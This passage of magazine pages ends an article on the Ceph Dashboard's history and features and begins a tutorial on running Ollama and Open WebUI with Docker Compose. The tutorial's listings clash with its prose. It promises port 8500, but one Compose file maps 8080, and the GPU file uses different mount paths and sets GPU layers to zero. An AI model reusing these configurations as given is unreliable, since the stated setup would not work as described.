
be understood immediately, without having to compare the output of `ceph -w` [10], `ceph health detail` [11], and `ceph osd tree` [12] to piece together the big picture.

As an added bonus, the Dashboard simplifies access to Ceph and RADOS for users and operators who do not work with the Ceph CLI on a daily basis. In many environments, storage administrators manage multiple systems in parallel or are members of larger platform teams. For these admins, a graphical overview is very likely to be more efficient than repeatedly retrieving individual snippets of status information in the shell. The Dashboard provides a unified view of the cluster and is also useful for coordinating tasks, error analysis, or status reports.

Metrics

To help you with your work, Ceph Dashboard draws on metrics that Ceph Manager [13] already collects as a storage solution component. Ceph itself generates metrics, status information, and configuration data at various levels: Ceph Monitors (MONs), OSDs, the Manager, RGW, CephFS, and RBD all diligently log what they are doing. In the shell, you would need to query the information specifically in each case and then

link it all together, which might even mean resorting to brain power or pieces of paper.

Instead of this error-prone approach, the Dashboard allows you to target information by, for example, displaying performance data, capacity utilization, and service status in relation to one another. This aggregation not only helps you identify issues, but also categorize them in a superior way, ideally finding a resolution before the issues become a threat to operations and stability.

Although many still prefer to use the CLI or automation tools to make configuration changes, the Dashboard also directly supports targeted intervention in the graphical interface. For clearly defined tasks, such as creating pools, managing users, or checking configurations, this approach lowers the bar and facilitates routine work. As a result, Ceph Dashboard is no longer merely a convenience, but a useful tool for managing the complexity of RADOS and its associated components.

History Lesson

The current form of the Ceph Dashboard can be better understood by looking at its history. Unlike many other Ceph components, the Dashboard did not originate as a classic

community project within the Ceph community, but as an external product. The program's origins lie in OpenATTIC [14], a graphical management and monitoring tool (Figure 1) for Ceph that was invented and developed by the German company it-novum [15].

Note that Ceph and RADOS are not the first storage products from the open source community; they were preceded by solutions that were based on products such as DRBD [16] or NFS [17]. Some of these solutions still exist today and have competed directly with proprietary solutions such as NAS or SAN devices. Their manufacturers are well aware that graphical management is a key factor: It facilitates storage administration, delivers impressive graphs of metrics, and looks great in the form of screenshots in glossy brochures.

The continued success of products by vendors such as NetApp, Dell, or HP can often be explained, at least in the storage context, by their comprehensive GUI management tools. it-novum launched OpenATTIC at the time to simplify, or even initially enable, graphical management of open source storage components. After all, administrators still typically set up an NFS server by installing the required package and creating a suitable configuration file.




Figure 1: OpenATTIC, a management tool for open source storage, several years ago delivered the technical underpinnings for today's Ceph Dashboard.

OpenATTIC's Predecessor

OpenATTIC offered a web-based interface that allowed users to set up various drives and services and accurately display their current status, while opening up useful opportunities in terms of observability by highlighting critical issues. For many admins, OpenATTIC was their first introduction to the idea of managing open source storage systems without exclusively relying on the command line. This development did not go unnoticed by the major distributors. SUSE eventually acquired OpenATTIC from it-novum and temporarily integrated it into its own products as a central storage management front end. As things progressed, SUSE heavily tailored OpenATTIC to enterprise requirements and integrated it more closely with commercial offerings for support and operations. Because SUSE was heavily involved with Ceph at the time, OpenATTIC was at least fundamentally expanded to include features that also let it manage a RADOS cluster.

However, the situation changed fundamentally when Red Hat acquired Inktank [18], the original company behind Ceph. This purchase significantly shifted the balance of power within the Ceph ecosystem, and not in SUSE's favor. To this day, persistent rumors suggest that Red Hat essentially snatched Inktank away from under SUSE's nose.

Either way, Red Hat became the dominant commercial player in the Ceph-verse, while SUSE reassessed its commitment to Ceph. In the process, interest in Ceph waned, also affecting the tool previously known as OpenATTIC, which had since lost various non-Ceph features and primarily acted as a Ceph GUI, including a catchy name to match (Ceph Dashboard).

When SUSE finally abandoned its Ceph commitment entirely and removed its Ceph products from its lineup, the future of the Dashboard was initially unclear. Without further ado, though, SUSE donated the code to the Ceph community, which

continued its development independently from that point on. Step by step, it integrated what used to be a standalone component into Ceph's management framework, aka Ceph Orchestrator [19]. Today, the Dashboard is a separate module within Ceph Manager, on par with various other modules that Ceph Orchestrator also provides.

Keeping Everything Different

As a Ceph Manager component, the Dashboard was subject to the same development and review processes as other Ceph components from that point on. It now follows the same release cycle and is fully aligned with the distributed storage solution in its development. While the future of the Dashboard had previously been uncertain because of SUSE's withdrawal, the Dashboard eventually evolved into one of the driving forces behind the development of Ceph itself.

Since then, new features have no longer been developed in isolation from Ceph, but in close coordination with the core RADOS developers. For example, the Dashboard no longer determines the cluster status indirectly through API access but, instead, directly accesses the information that Ceph Manager already collects and maintains.

The Dashboard has now become a true Ceph community project. Contributions come from developers working in a wide variety of organizations, including distributors, service providers, and companies that use RADOS and the Dashboard in a central role. Wherever features in everyday use are perceived to be missing, they are developed, which also explains why Ceph Dashboard is comparatively pragmatic today. It complements the CLI wherever visualization and the need for an overview and structured access promise genuine added value.

As a Manager module, the Dashboard also is automatically available in every Ceph setup. If you run `cephadm`

`bootstrap` [20] to install a new Ceph cluster, the Dashboard is even enabled out of the box by default and can be used immediately after the RADOS cluster is deployed. But what can administrators expect when they start using the Dashboard?

Layout and Basic Structure

After you log in, the Ceph Dashboard comes up with a clearly structured interface. A central navigation bar on the left (Figure 2) provides access to the key functional areas. The developers consolidated this menu structure in Ceph 19 [21], and it now looks significantly more clear-cut than in earlier versions. The goal is to make frequently needed information accessible quickly, without overwhelming the user with detailed views.

The interface follows a consistent pattern, displaying summarized status information – which can be further expanded as needed – on the main pages and accessed by clicking one of the menu items on the left. Detailed views are intentionally placed farther down and require active selection by the user. Ceph Dashboard does not force complex views but lets you zoom into the cluster step by step.

Dashboard Overview

The entry point is the *Dashboard* overview, which summarizes the general health of the cluster. Warnings and errors are displayed prominently and supplemented by key data, such as the number of OSDs, used and available capacity, and the status of placement groups. This view does not replace a detailed analysis; instead, it lets you quickly assess whether and where action is needed.

What is particularly relevant here is the visualization of failures and rebalancing operations. Instead of what the untrained eye sees as cryptic status messages, like those produced by `ceph -s`, the Dashboard clearly shows whether the cluster is under load, redistributing data when a drive fails or responding to other types

of failures. The overview is often a valuable reference point for day-to-day operations, and you can see at a glance where it makes sense to start troubleshooting.

Clusters and Hosts

The Dashboard consolidates information on the basic structure and topology of the environment in the *Cluster* section, which is where you find data on MONs [22], Ceph Managers (MGRs) [23], and the general status of the RADOS cluster itself. Additionally, the *Hosts* subsection lists all the known nodes and shows which services are running on them. The output is roughly equivalent to that of `ceph orch ps` [24], but significantly less cluttered.

The visual divide between the cluster and the hosts is deliberate. Whereas Ceph's CLI commands frequently switch between logical and physical components (e.g., between drives and the RADOS daemons), the Dashboard displays the two levels side by side. You can see immediately which OSDs are running on which host and whether individual systems or services have gone out of sync.

OSDs and Placement Groups

Managing and monitoring OSDs is another of the Dashboard's central features. As you are probably aware, OSDs in RADOS are the data silos in which the cluster stores its binary objects. The expansion of the acronym, Object Storage Daemon, indicates not individual physical drives, but the Ceph service that manages the drives and exposes storage capacity to the RADOS cluster.

In any case, the OSD view in the Dashboard reveals whether individual daemons are accessible or offline, with a well-balanced display of their utilization, weighting, and performance. Differences between individual OSDs can be identified without first having to correlate multiple CLI outputs.

The display for the individual placement groups is closely related, with the Dashboard serving up information about group distribution, status, and potential issues. For admins who regularly encounter restricted or faulty placement groups, this view significantly facilitates troubleshooting, especially if you compare it with the CLI output for similar content.

The view quickly helps you discover

whether a pattern can be identified among the faulty placement groups.

Pools and Storage Classes

The *Pools* submenu item is where the Dashboard manages Ceph's logical storage layer. You can view existing pools [25], check their properties, and track the development of their storage utilization and remaining capacity. Replication factors, erasure coding profiles, and quotas are prominently displayed for each pool.

If you have ever worn your fingers down at the command line in an attempt to convince `ceph osd pool get <Name> size` to reveal a pool's replication factor, or even `ceph osd pool get <Name> crush_rule` to find out which CRUSH rule [26] applies to a pool before calling `ceph osd crush rule dump` in the next step to display the results, you will be fully aware of how much better the Dashboard functions. The GUI offers a clear advantage over the CLI-based solution; in the Pools view on the Dashboard, a single click is all it takes to display, and even modify, the CRUSH rule, if required. In environments with many pools, in particular, just this one view massively simplifies day-to-day cluster maintenance.




Figure 2: After the initial login, you see an overview of the cluster's current status, including a highly visible display of any issues.

Everything Under One Roof

The Dashboard also takes into account the various RADOS client interfaces. For CephFS (Figure 3), it lists all existing volumes, their metadata server (MDS) status, and client activity. You can view RBD images (i.e., virtual disks based on the RADOS block device specification), their usage, and their snapshots and dependencies.

The Ceph Object Gateway is also integrated. A consistent view of buckets, users, access, and utilization are shown on the Dashboard. The developers introduced significant improvements in version 19, massively extending support for the Object Gateway, and the GUI now covers all three central Ceph use cases as a result. As of Ceph 19, the Dashboard now also integrates performance information more closely into its displays than did the earlier versions. Latencies, throughput, and I/O patterns can be retrieved directly and correlated with the status of individual components such as MONs or OSDs. Although the Dashboard does not replace a dedicated observability system, it does give you sufficient context to classify anomalies. Especially

when combined with external monitoring tools, the Dashboard adds a correlation layer that brings technical details together in an understandable way.

Configuration and Management

Various buttons for cluster configuration tasks round out the Dashboard. Important parameters can be viewed and, for the most part, edited directly in the GUI. Although this feature does not quite offer full configuration management, it promises quick access to critical settings. RADOS, in particular, doesn't usually break down in everyday use in a way that necessitates complex reconfiguration activities. Ceph Dashboard strikes a healthy balance, remaining sufficiently clear while letting you edit the most important settings.

The Dashboard proves useful in various everyday situations, as three examples will show.

Managing CephX Users

One of the fundamental Ceph tasks is managing CephX users. CephX [27] (Figure 4) is the cluster's

authentication and authorization layer and controls client access to defined resources. Although admins traditionally use `ceph auth` and its various subcommands at the command line to handle these tasks, the Dashboard provides a structured interface that is particularly useful whenever you need an overview of the existing users.

Existing CephX users can be tracked in the Dashboard, including their capabilities (i.e., authorizations) for MONs, OSDs, and MDSs. When you create a new user, the interface guides you step by step through the process. You simply define the name, authorizations, and scope of use, and the Dashboard creates the matching CephX objects in the cluster. The Dashboard also immediately provisions the resulting CephX keys for download to simplify the task of sharing them with the matching end users.

RADOS Gateway

A similar principle applies to Ceph Object Gateway user management. The gateway comes with its own user and key management, which you need for access by Amazon Simple




Figure 3: The Dashboard helps you set up and configure CephFS instances in RADOS, including an overview of the current CephFS instances.

Storage Service (S3) [28] or Swift APIs [29] and for which you have no other way to take action. After all, “real” S3 also has a user management system that relies on the `ACCESS_KEY` and `SECRET_KEY`, and the Ceph Object Gateway mimics this form. Although users can also be managed by `radosgw-admin` [30] in the shell, it is less intuitive, especially in environments with large numbers of users or buckets.

The Dashboard provides a completely separate view for this purpose. You can create RGW users, edit users, or generate or rotate their access credentials. Attributes such as quotas, subusers (e.g., for reseller scenarios), or access types are presented in a structured display and can be modified on the fly.

RADOS Pools

Creating pools in RADOS is the third example of the Dashboard’s capabilities and a key configuration task in the cluster. Pools define how data is stored or replicated and which rules apply. Errors at this stage directly affect data security and performance when accessing the data, prompting many administrators to proceed with caution.

On the Dashboard, a wizard helps you create new pools: Just select the pool type, replication factor, or erasure coding profile; define quotas if applicable; and choose any required optional parameters before the change goes live in the cluster. The Dashboard validates your input and flags any problematic combinations, reducing the risk of critical misconfigurations. The underlying logic is identical to that of the CLI; the Dashboard merely abstracts it.

New Features in Ceph 20

In Ceph 20, the developers have not so much revolutionized the Dashboard as consistently refined it. The focus is clearly on consolidation, performance, and improved integration with the remainder of the Ceph architecture. Many changes seem unspectacular at first glance, but they do make a significant difference in everyday use. All told, the interface now responds more quickly and views load faster, and the number of situations in which the Dashboard lags behind the cluster status has dropped noticeably.

One major improvement is in the more tightly integrated use of Ceph

Manager data. In Ceph 19, the Dashboard started to access internal Manager structures more directly, reducing the number of duplicate queries to the various RADOS services, and this refinement pays off – especially in larger clusters.

Navigation and Consistency

In Ceph 19, and later in Ceph 20, the developers also put a great deal of effort into standardizing the Dashboard’s menu structure. Areas that previously appeared to have evolved in a random way or used a different display logic now follow a more consistent schema. Tables, filters, and detailed views behave in a more consistent way, simplifying navigation – especially for administrators who do not work with the Dashboard on a daily basis.

This improvement also includes a clearer distinction between view-only elements and actions on which you can act. Where earlier versions sometimes left you in the dark as to whether clicking merely provided information or triggered a change, this boundary has now been drawn more clearly, reducing the risk of accidental changes.




Figure 4: The Dashboard not only offers visualization, it supports configuration changes to the CephX user management system.

Another focus of current Dashboard development is on completing support for CephFS and the Ceph Object Gateway. RBD has long been at the center of Dashboard development, but now the other access paths are increasingly catching up. Status information regarding metadata servers, filesystems, buckets, and user activities is more comprehensive, visually enhanced, and better integrated than in previous releases. This development reflects the reality of many Ceph installations, where block, file, and object storage are used in parallel.

Looking Ahead

Several development paths are emerging for upcoming Ceph versions, including the further reduction of configuration fragmentation, with the goal of grouping important cluster parameters even more effectively and displaying dependencies more transparently. In parallel, developers are working on deeper integration with external systems, particularly in the fields of monitoring and alerting. Although the Dashboard will not replace Prometheus [31] or

Grafana [32], it is intended to be more useful as a jumping-off point for debugging, guiding you from a visible problem to further analysis (Figure 5).

Conclusion

Ceph Dashboard has evolved from an external management tool to an integral part of the Ceph architecture. Today, it is neither a mere accessory nor an attempt to replace the command line; instead, it is a targeted tool for visualizing, contextualizing, and supporting operations. Its strength does not lie in maximizing feature density, but in its ability to present the complex state of a distributed storage cluster in an intelligible way. The Dashboard's added value is particularly evident in larger environments. It aggregates information that is available but scattered throughout the CLI, presenting this information in a context that enables quick assessments. Issues become more easily visible and dependencies clearer, and routine tasks can be handled without detours. At the same time, the Dashboard deliberately holds back when it comes to deep-dive intervention and respects established

operational models based on the CLI and automation.

In this way, Ceph Dashboard fulfills exactly the role you would expect of a graphical front end in a complex system: It aids understanding without oversimplifying and supports operations without trying to oust the time-honored shell. In this form, it has become virtually indispensable in modern Ceph installations. ■

Info

- [1] Ceph: <https://ceph.io/>
- [2] RADOS: <https://docs.ceph.com/en/latest/rados/>
- [3] CephFS: <https://docs.ceph.com/en/latest/cephfs/>
- [4] Ceph Object Gateway: <https://docs.ceph.com/en/latest/radosgw/>
- [5] RADOS block device (RBD): <https://docs.ceph.com/en/latest/rbd/>
- [6] Object Storage Daemon (OSD): <https://docs.ceph.com/en/latest/rados/operations/add-or-rm-osds/>
- [7] Placement groups: <https://docs.ceph.com/en/latest/rados/operations/pg-states/>
- [8] Ceph Dashboard: <https://docs.ceph.com/en/latest/mgr/dashboard/>
- [9] ceph CLI: <https://docs.ceph.com/en/latest/man/8/ceph/>




Figure 5: Observability plays a major role on the Dashboard; for example, it displays log messages from the active cluster. Although the Dashboard does not intend to replace Prometheus and Grafana, it does aim to complement them.

- [10] ceph -w: [<https://docs.ceph.com/en/latest/rados/operations/monitoring/#watching-a-cluster>]
- [11] ceph health details: [<https://docs.ceph.com/en/latest/rados/operations/monitoring/#health-checks>]
- [12] ceph osd tree: [<https://docs.ceph.com/en/latest/rados/operations/monitoring/#monitoring-osds>]
- [13] Ceph Manager (ceph-mgr): [<https://docs.ceph.com/en/latest/mgr/>]
- [14] OpenATTIC: [<https://github.com/openattic/openattic>]
- [15] it-novum: [<https://it-novum.com/en/>]
- [16] DRBD: [<https://docs.linbit.com/>]
- [17] NFS: [https://en.wikipedia.org/wiki/Network_File_System]
- [18] Inktank: [https://en.wikipedia.org/wiki/Inktank_Storage]
- [19] Ceph Orchestrator: [<https://docs.ceph.com/en/latest/mgr/orchestrator/>]
- [20] cephadm: [<https://docs.ceph.com/en/latest/cephadm/>]
- [21] Ceph 19: [<https://docs.ceph.com/en/latest/releases/squid/>]
- [22] MONs: [<https://docs.ceph.com/en/latest/rados/configuration/mon-config-ref/>]
- [23] MGRs: [<https://docs.ceph.com/en/latest/mgr/>]
- [24] ceph orch ps: [<https://docs.ceph.com/en/latest/cephadm/services/#daemon-status>]
- [25] Pools: [<https://docs.ceph.com/en/latest/rados/operations/pools/>]
- [26] CRUSH: [<https://docs.ceph.com/en/latest/rados/operations/crush-map/>]
- [27] CephX: [<https://docs.ceph.com/en/latest/rados/configuration/common/#authentication>]
- [28] S3: [<https://aws.amazon.com/s3/>]
- [29] Swift: [<https://docs.openstack.org/swift/latest/>]
- [30] radosgw-admin: [<https://docs.ceph.com/en/latest/radosgw/admin/>]
- [31] Prometheus: [<https://prometheus.io/>]
- [32] Grafana: [<https://grafana.com/>]

The Author

Martin Loschwitz is the founder and managing director of True West IT Services GmbH, which offers scalable IT infrastructure based on OpenStack and Kubernetes.



Hone Your Skills with Special Issues!

Get to know Shell, LibreOffice, Linux, and more from our Special Issues library.

The *Linux Magazine* team has created a series of single volumes that give you a deep-dive into the topics you want.

Available in print or digital format.

Check out the full library!



Customers in Europe or the United Kingdom (EUR/GBP)
shop.sparkhausmedia.com/shop



Customers in All Other Countries (USD)
shop.linuxnewmedia.com/shop



Building a Persistent Local AI Stack

Composed

With Ollama and Open WebUI, you can build a streamlined local AI stack. Docker Compose helps you keep models and application data persistent, update safely, back up key files, and recover quickly if something breaks.

By Roland Taylor

Installing and running local AI models on Linux used to feel far more intimidating than it does now. With current tools, it is possible to build a local setup that is not only easier to deploy, but also easier to maintain over time. With the use of containers, you can keep your models, chats, and related data organized while avoiding the fragility of an ad hoc install. In this article, I show you how to build a streamlined, fully local AI stack that works even on complex partition layouts and remains reliable through routine updates. With Ollama on the back end and Open WebUI on the front end, you will create a private, web-based assistant that you can adapt to your workflow. I will also show you how Docker Compose can manage installation and updates for both services.

My build and setup was tested on both Ubuntu 24.04 with no GPU and Ubuntu 25.10 with an NVIDIA GPU. Therefore, I have provided the instructions for both configurations. Along the way, I cover the Compose layout, persistent storage, restart behavior, safe update habits, backup

and restore planning, and rollback basics and provide a few brief notes on model choice for less powerful systems.

What to Build

At the core of the build is a local AI stack of Ollama and Open WebUI. Ollama is a powerful runtime for local AI models, providing a standardized API for large language models (LLMs) and related workloads. However, Ollama only provides a command-line interface (CLI), which can be limiting for some users. Open WebUI adds a web-based interface that connects to the Ollama API and provides access to additional tools, user management, chat history, and other features. To tie these two services together so they can be started, stopped, updated, and recreated as a single application stack, you can use Docker Compose, which allows you to define a complex stack with a single YAML file. This arrangement is useful for more than sheer convenience. Within the same Compose file, you can

define networking, persistent storage, restart behavior, and other settings that would otherwise require extra manual setup. In this way, updates and rollbacks are easier to manage, and it encourages a clearer separation between disposable containers and persistent data storage.

That distinction is essential for a long-term local AI setup. Containers can be replaced without forcing you to re-download models on every update, and chat history, settings, and other important data are preserved over time.

Requirements

You must have Docker and Compose installed. I provide the instructions for Ubuntu-based systems in [Listing 1](#). If you are on another distribution, you might need to consult the official Docker documentation [\[1\]](#).

Planning the Storage Layout

Before writing the Compose file or setting up containers, it is important

Photo by Marius Masalar on Unsplash

to decide what needs to survive container recreation during updates. For this setup, the critical data you need to preserve falls into two clean categories:

- Ollama model data

- Open WebUI application data

When deployed with Docker, Ollama stores its model data inside the container at `/root/.ollama`. If that path remains inside the container layer, updates risk erasing the data, and storage becomes more difficult to track if the container changes underneath it. In the stack you will be building, this internal path is mapped to a custom location under your home directory, or another shared path of your choosing, so the model library remains persistent and easier to manage.

This setup does two useful things. First, it keeps the model files, which can be quite large, out of less obvious container-managed storage. Second, it makes backup planning simpler, because the most important files already live in a clear host-side location. An additional benefit is that, if you are using a separate boot partition, model files and other volatile data will not eat into that space.

As for Open WebUI, its application data also needs to survive updates and restarts. For this setup, you will place both Ollama and Open WebUI data in custom host locations so they remain persistent and easy to manage over time.

Before creating and editing the Compose file, create the host directories that will store persistent data for both services. Later, you will map the containers to these directories so their important data remains outside the disposable container layer.

To create the host directories, use:

```
mkdir -p ~/.local/share/ollama
mkdir -p ~/.local/share/openwebui
```

The `ollama` directory holds downloaded models and related runtime data, and the `openwebui` directory stores application data such as settings, history, and other persistent state information. For a multi-user setup, these directories

should be placed in a location that is available to all intended users and managed with appropriate ownership and permissions.

Writing the Compose File

Now you are ready to create and edit the Compose file. To begin, create a project directory for the stack; then, create the `docker-compose.yml` file inside that directory:

```
mkdir -p ~/docker/ollama-openwebui
cd ~/docker/ollama-openwebui
touch docker-compose.yml
```

If you are working from within your home folder, a path like `~/docker/ollama-openwebui` keeps the project easy to find later. Once this file is in place, you can open it in your preferred text editor and begin adding the stack definition. [Listing 2](#) shows a CPU-safe Compose setup without NVIDIA container support that works broadly across personal systems, virtual machines, and hosts.

Be sure to replace `<username>` with your username before saving the file. Once you are sure everything is as it should be, you can go ahead and save the file.

If you have an NVIDIA GPU, you can replace the contents of your `docker-compose.yml` file with the GPU-enabled version shown in [Listing 3](#).

Why Version Pinning Matters

In this setup, you are using floating tags by specifying `latest` and `main` in

Listing 1: Installing Docker and Compose

```
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

sudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
```

the Compose file, which is convenient for testing and personal use, but it is less ideal for a controlled long-term setup or a shared production system. Where predictable updates and easier rollback matter more, it is better to pin specific image tags once you know which versions work well on your system.

A safer pattern looks more like:

```
services:
  ollama:
    image: ollama/ollama:0.20.3

  openwebui:
    image: ghcr.io/open-webui/open-webui:v0.8.12
```

The exact versions you choose should reflect those you have tested

Listing 2: CPU-Safe Compose File

```
services:
  ollama:
    image: ollama/ollama:latest
    container_name: ollama
    ports:
      - "11434:11434"
    volumes:
      - /home/<username>/.local/share/ollama:/root/.ollama
    restart: unless-stopped

  openwebui:
    image: ghcr.io/open-webui/open-webui:main
    container_name: openwebui
    depends_on:
      - ollama
    ports:
      - "8080:8080"
    environment:
      - OLLAMA_BASE_URL=http://ollama:11434
    volumes:
      - /home/<username>/.local/share/openwebui:/app/backend/data
    restart: unless-stopped
```

successfully. Pinned images make updates more deliberate and easier to manage.

What the Compose File Does

The Compose file does a number of important jobs. It publishes Ollama on port 11434, and gives Open WebUI a reliable way to reach Ollama over Docker's internal network by using the service name `ollama` as the host-name. Open WebUI itself is published on port 8500, which makes the web interface available at `http://localhost:8500`. You will use port 8500 here as opposed to 8080, which is often used by default for other web applications; port 8500 will help avoid conflicts now and in the future.

Listing 3: NVIDIA-Enabled Compose File

```
services:
  ollama:
    image: ollama/ollama:latest
    container_name: ollama
    ports:
      - "11434:11434"
    volumes:
      - /home/<username>/local/share/ollama:/root/.ollama
    deploy:
      resources:
        reservations:
          devices:
            - driver: nvidia
              count: all
              capabilities: [gpu]
    environment:
      - OLLAMA_GPU_LAYERS=0
    restart: unless-stopped

  openwebui:
    image: ghcr.io/open-webui/open-webui:main
    container_name: openwebui
    depends_on:
      - ollama
    ports:
      - "8500:8080"
    environment:
      - OLLAMA_BASE_URL=http://ollama:11434
    volumes:
      - /home/<username>/local/share/openwebui:/app/backend/data
    restart: unless-stopped
```

The most important lines are the bind mounts from `/home/<username>/local/share/ollama` to `/root/.ollama`, and from `/home/<username>/local/share/openwebui` to `/app/backend/data`. These both point to the directories created earlier, allowing Ollama and Open WebUI to store their data persistently in their respective locations.

Restart Behavior and Service Checks

In the Compose file, both services use `restart: unless-stopped`, which means Docker restarts them automatically after a reboot or Docker restart unless they have been stopped manually. By default, Compose also automatically creates an internal network

for the stack, so no extra network setup is required.

For a reliable setup, it helps to think in terms of verification, not just startup. Even if you have not added formal Compose health checks, you should still use a simple routine whenever you first launch the stack or update it later. As a rule of thumb, a good minimum verification is that:

- Both containers are running (`sudo docker compose ps` can confirm)
- Open WebUI loads in the browser at `http://localhost:8500`
- Ollama responds normally (use `curl http://localhost:11434/api/tags`)
- Previously downloaded models are still available (once you have models installed)




Figure 1: The Open WebUI first-run screen appears when you connect to the service for the first time.




Figure 2: Open WebUI prompts you to create the initial administrative user during setup.

You will run through this process later in this article after you have installed some models.

Bringing the Stack Online

To bring the stack online, run Compose from the same directory in which you stored the `docker-compose.yml` file. To do this, run

```
sudo docker compose up -d
```

to pull the container images defined in the Compose file (if they are not already present), apply the established custom settings, and create the containers. Once the command finishes, you can confirm that both containers are running:

```
sudo docker compose ps
```

Now confirm that Open WebUI is reachable at `http://localhost:8500`. Because this is your first launch, it will prompt you to complete its initial setup and create an admin user (Figures 1 and 2).

Once you have completed the setup, you should see a pop-up introducing the new features in whichever version of Open WebUI you have installed. You can ignore this dialog and get right to the chat window (Figure 3). However, to chat you will need to pull in an AI model for Ollama to run.

Pulling an AI Model

At this stage, you might notice that although Open WebUI is running smoothly, you still cannot begin a conversation. Before you can start using the stack, you will need to pull at least one model into the back end. Two of the main ways to do so are:

- By using Ollama directly from the CLI
- By using Open WebUI's built-in model management tools

You can get a list of available models from Ollama's model library [2]. To pull the exact model and format, you need to type its name as shown in the list for that model.

For example, to pull the 8b version of Llama 3.1, you need to use `llama3.1:8b` (Figure 4).

Pulling a Model from the CLI

To pull a test model from the command line, use:

```
sudo docker exec -it ollama ollama pull tinyllama:latest
```

This command (Figure 5) pulls in the `tinyllama` model, which is not much

use for real work, but it is a perfect model for ensuring that Ollama is responding correctly. Once the download finishes and the command completes, it should show up immediately in Open WebUI.

Pulling an AI Model with Open WebUI

If you want to install a model with Open WebUI itself, you can do so from the Admin Panel. To begin, click your username in the interface to




Figure 3: After setup, Open WebUI opens to the main chat window.

Models View all →			
Name	Size	Context	Input
llama3.1:latest	4.9GB	128K	Text
llama3.1:8b latest	4.9GB	128K	Text
llama3.1:70b	43GB	128K	Text
llama3.1:405b	243GB	128K	Text

Figure 4: Ollama's model library shows the exact model names and variants you need to use when pulling a model.



Figure 5: Pulling `tinyllama:latest` from the command line provides a quick way to test that Ollama is working correctly.

open the menu. From there, open *Admin Panel* and go to *Settings | Models*. Within *Models*, click *Manage* to open the Manage Models dialog (**Figure 6**). Now, enter the name of the model you want to download and click the download icon.

Open WebUI should detect the model and make it available through

the web interface immediately. If you do not see the model available for selection, you can reload the tab and Open WebUI should update its state.

You cannot pull a model with the *Add Model* button that is next to the *Select a model* drop-down in the chat window.

Testing Your Setup

Now that you have a model installed, you can go ahead and use one of the suggested prompts to see how Open WebUI and Ollama perform on your system.

From the *Select a model* widget, select the model of your choice.




Figure 6: Open WebUI can download models directly from the Manage Models dialog in the Admin Panel.




Figure 7: A successful reply in Open WebUI confirms that the stack is working end to end.

For this example, I am using `tinylama:latest`. Next, click any of the prompts below the chat box. Ollama runs the model and you should get a reply (Figure 7).

What to Back Up

Making the stack persistent is only one part of the story. Having proper backups is also essential in case an update goes wrong. An adequate backup plan should include:

- The Compose file
- The host directory bound to `/root/.ollama`
- The host directory bound to `/app/backend/data`
- Any helper scripts or notes you use for updates and restores

Fortunately, because both data locations live on the host filesystem rather than being locked inside Docker's container layer, you can use standard

backup solutions or even manual copying to keep these files safe. If you regularly create new conversations in Open WebUI, however, it would be wise to use an automated backup routine instead.

Safe Update Workflow

Whenever you need to update the stack, it is best not to pull and replace the existing containers blindly. A safer workflow is to:

- Back up important data
- Save a copy of the current Compose file
- Review or update the image tags as needed
- Pull the new images
- Recreate the containers
- Verify that the stack still behaves normally

To perform the update, you only need to run the commands:

```
sudo docker compose pull
sudo docker compose up -d
```

Of importance here is keeping track of the old tags, keeping the Compose file backed up, and treating the last-known good state as something worth preserving.

Verifying Updates

After each update, check that the stack is still working as intended. Fortunately, Docker provides tools that make this process fairly straightforward, and the rest simply involves making sure Open WebUI still loads and functions normally. A practical verification routine includes:

- Running `sudo docker compose ps` to confirm both services are running
- Checking, if necessary, for startup failures with `sudo docker compose logs`



Our ADMIN Update newsletter delivers news and technical articles to your inbox every week.

Subscribe free, and you'll discover:

- practical articles on security, cloud computing, DevOps, and more
- IT industry news
- job listings for IT professionals
- IT industry events
- and more!



bit.ly/ADMIN-Update

TOO SWAMPED TO SURF?

ADMINUPDATE

Issue 463 • January 21, 2026



This Week's Feature

Optimizing File I/O

File I/O is a limiting factor for many applications and can become a bottleneck for data-intensive computing. We analyze different file access functions and present a script that visualizes and optimizes inefficient file I/O.

News and Resources

- [Percona Everest Is Now OpenEverest](#)
- [CIQ Announces Fuzzball Service Endpoints](#)
- [Sonar Survey Shows How Developers Rank AI's Effectiveness](#)

In Case You Missed It

AI and the Boom Stack

openEuler prepares for the AI future with a complete software stack tailored for artificial intelligence.

ADMIN
MAGAZINE

- Loading Open WebUI in the browser
- Verifying that previously downloaded models are still present
- Verifying in Open WebUI that Ollama still responds normally and can load your models
- Testing whether Open WebUI can successfully use a model through Ollama

Backup, Restore, and Rollback

From time to time, an update breaks, and you will need to perform a rollback for one or both of your containers. The careful planning you established earlier pays off now.

If a new image causes problems, you can usually recover with a straightforward rollback process. Stop the stack first:

```
sudo docker compose down
```

Next, restore the previous image tags in the Compose file. If you have a backup of your Compose file, restoring the backup also works for this purpose. To get the stack up and running again, run:

```
sudo docker compose up -d
```

If your data was affected, the storage layout and backup routine you established at the beginning pays off. Because your important data is separated from containers, your recovery from failures is easier. To recover your data, run:

```
sudo docker compose down
```

Now restore your persistent data from a backup, and run

```
sudo docker compose up -d
```

to get the containers running again.

A Model That Fits Your Hardware

With LLMs, the model you choose affects both the quality of the results and whether your hardware can run it comfortably. For the purposes of this article, I will not cover every variable, but I will give you a few general rules of thumb.

Usually you will get the best local experience with a dedicated GPU. For this Docker-based Ollama setup, NVIDIA hardware with CUDA support tends to be the smoothest route, although Ollama can also run in CPU-only mode if needed. In general, more video RAM (VRAM) gives you more room to run larger models and larger context windows comfortably. Model sizes (e.g., 4B, 7B, and 14B) refer to parameter counts (i.e., 4, 7, and 14 billion parameters). In simple terms, larger models often produce better results, but they also demand more memory and compute power. Quantization matters, too: More aggressive quantization can reduce memory use, which can make a model easier to run on less powerful hardware – although sometimes with trade-offs in quality. Ollama's library also makes it clear that many model families are available in multiple parameter sizes, which is helpful when you need to balance quality against hardware limits.

In my own testing on an NVIDIA GPU with 6GB of VRAM, smaller and mid-sized models (7B-14B) gave the best balance of responsiveness and usefulness. Once models became too large to fit comfortably in VRAM, performance dropped sharply, because Ollama switches to the CPU and system RAM. It is important to note that memory demands increase with context length, so if you are planning to use larger models, reference files, or give large prompts,

